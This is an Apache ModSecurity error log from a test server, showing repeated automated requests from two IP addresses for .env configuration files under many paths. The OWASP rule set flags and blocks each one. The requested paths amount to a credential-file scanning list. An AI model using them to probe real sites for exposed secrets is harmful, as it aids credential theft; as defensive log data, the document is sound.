[Tue Feb 04 18:17:48.799593 2025] [:error] [pid 924546] [client 195.178.110.164:59808] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6JLvL2pWZCC-48cZtoABgAAAAY&quot;]
[Tue Feb 04 18:17:48.800213 2025] [:error] [pid 924546] [client 195.178.110.164:59808] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6JLvL2pWZCC-48cZtoABgAAAAY&quot;]
[Tue Feb 04 18:17:48.800707 2025] [:error] [pid 924546] [client 195.178.110.164:59808] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6JLvL2pWZCC-48cZtoABgAAAAY&quot;]
[Tue Feb 04 18:17:48.961044 2025] [:error] [pid 924522] [client 195.178.110.164:59820] [client 195.178.110.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6JLvHxisr8snLhHavq3DQAAAAQ&quot;]
[Tue Feb 04 18:17:48.961653 2025] [:error] [pid 924522] [client 195.178.110.164:59820] [client 195.178.110.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6JLvHxisr8snLhHavq3DQAAAAQ&quot;]
[Tue Feb 04 18:17:48.962443 2025] [:error] [pid 924522] [client 195.178.110.164:59820] [client 195.178.110.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6JLvHxisr8snLhHavq3DQAAAAQ&quot;]
[Sun Feb 09 23:51:49.415036 2025] [:error] [pid 1041048] [client 185.196.220.16:44998] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6kxhbgwXr-CSZN0PFr8KwAAABI&quot;]
[Sun Feb 09 23:51:49.416761 2025] [:error] [pid 1041048] [client 185.196.220.16:44998] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6kxhbgwXr-CSZN0PFr8KwAAABI&quot;]
[Sun Feb 09 23:51:49.417135 2025] [:error] [pid 1041048] [client 185.196.220.16:44998] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z6kxhbgwXr-CSZN0PFr8KwAAABI&quot;]
[Sun Feb 09 23:51:49.683456 2025] [:error] [pid 1041041] [client 185.196.220.16:45014] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6kxhbEhMnm5cunCM9Nj5gAAAAs&quot;]
[Sun Feb 09 23:51:49.684018 2025] [:error] [pid 1041041] [client 185.196.220.16:45014] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6kxhbEhMnm5cunCM9Nj5gAAAAs&quot;]
[Sun Feb 09 23:51:49.684467 2025] [:error] [pid 1041041] [client 185.196.220.16:45014] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z6kxhbEhMnm5cunCM9Nj5gAAAAs&quot;]
[Sun Feb 09 23:51:50.593445 2025] [:error] [pid 1041052] [client 185.196.220.16:45034] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6kxhotLacbunVf7UGmdoQAAABY&quot;]
[Sun Feb 09 23:51:50.594019 2025] [:error] [pid 1041052] [client 185.196.220.16:45034] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6kxhotLacbunVf7UGmdoQAAABY&quot;]
[Sun Feb 09 23:51:50.594501 2025] [:error] [pid 1041052] [client 185.196.220.16:45034] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z6kxhotLacbunVf7UGmdoQAAABY&quot;]
[Sun Feb 09 23:51:50.797680 2025] [:error] [pid 1033858] [client 185.196.220.16:45040] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6kxhn_cdmOlG1JAjplC8gAAAAA&quot;]
[Sun Feb 09 23:51:50.798320 2025] [:error] [pid 1033858] [client 185.196.220.16:45040] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6kxhn_cdmOlG1JAjplC8gAAAAA&quot;]
[Sun Feb 09 23:51:50.798816 2025] [:error] [pid 1033858] [client 185.196.220.16:45040] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z6kxhn_cdmOlG1JAjplC8gAAAAA&quot;]
[Sun Feb 09 23:51:51.221308 2025] [:error] [pid 1041063] [client 185.196.220.16:45054] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6kxh8NxcUl0FUrGBh6cUQAAACE&quot;]
[Sun Feb 09 23:51:51.221889 2025] [:error] [pid 1041063] [client 185.196.220.16:45054] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6kxh8NxcUl0FUrGBh6cUQAAACE&quot;]
[Sun Feb 09 23:51:51.222368 2025] [:error] [pid 1041063] [client 185.196.220.16:45054] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z6kxh8NxcUl0FUrGBh6cUQAAACE&quot;]
[Sun Feb 09 23:51:51.433917 2025] [:error] [pid 1041060] [client 185.196.220.16:45058] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6kxh5UrtRrto1o4j70HgwAAAB4&quot;]
[Sun Feb 09 23:51:51.434524 2025] [:error] [pid 1041060] [client 185.196.220.16:45058] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6kxh5UrtRrto1o4j70HgwAAAB4&quot;]
[Sun Feb 09 23:51:51.434982 2025] [:error] [pid 1041060] [client 185.196.220.16:45058] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z6kxh5UrtRrto1o4j70HgwAAAB4&quot;]
[Sun Feb 09 23:51:51.890907 2025] [:error] [pid 1041054] [client 185.196.220.16:45064] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6kxhw9IwlVa_qPDoulq5QAAABg&quot;]
[Sun Feb 09 23:51:51.891482 2025] [:error] [pid 1041054] [client 185.196.220.16:45064] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6kxhw9IwlVa_qPDoulq5QAAABg&quot;]
[Sun Feb 09 23:51:51.891939 2025] [:error] [pid 1041054] [client 185.196.220.16:45064] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z6kxhw9IwlVa_qPDoulq5QAAABg&quot;]
[Sun Feb 09 23:51:52.176814 2025] [:error] [pid 1041066] [client 185.196.220.16:45074] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6kxiM75mCUn2YCUg_yOKAAAACQ&quot;]
[Sun Feb 09 23:51:52.177488 2025] [:error] [pid 1041066] [client 185.196.220.16:45074] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6kxiM75mCUn2YCUg_yOKAAAACQ&quot;]
[Sun Feb 09 23:51:52.177917 2025] [:error] [pid 1041066] [client 185.196.220.16:45074] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z6kxiM75mCUn2YCUg_yOKAAAACQ&quot;]
[Sun Feb 09 23:51:52.431442 2025] [:error] [pid 1041048] [client 185.196.220.16:45090] [client 185.196.220.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6kxiLgwXr-CSZN0PFr8LAAAABI&quot;]
[Sun Feb 09 23:51:52.432128 2025] [:error] [pid 1041048] [client 185.196.220.16:45090] [client 185.196.220.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6kxiLgwXr-CSZN0PFr8LAAAABI&quot;]
[Sun Feb 09 23:51:52.432583 2025] [:error] [pid 1041048] [client 185.196.220.16:45090] [client 185.196.220.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z6kxiLgwXr-CSZN0PFr8LAAAABI&quot;]
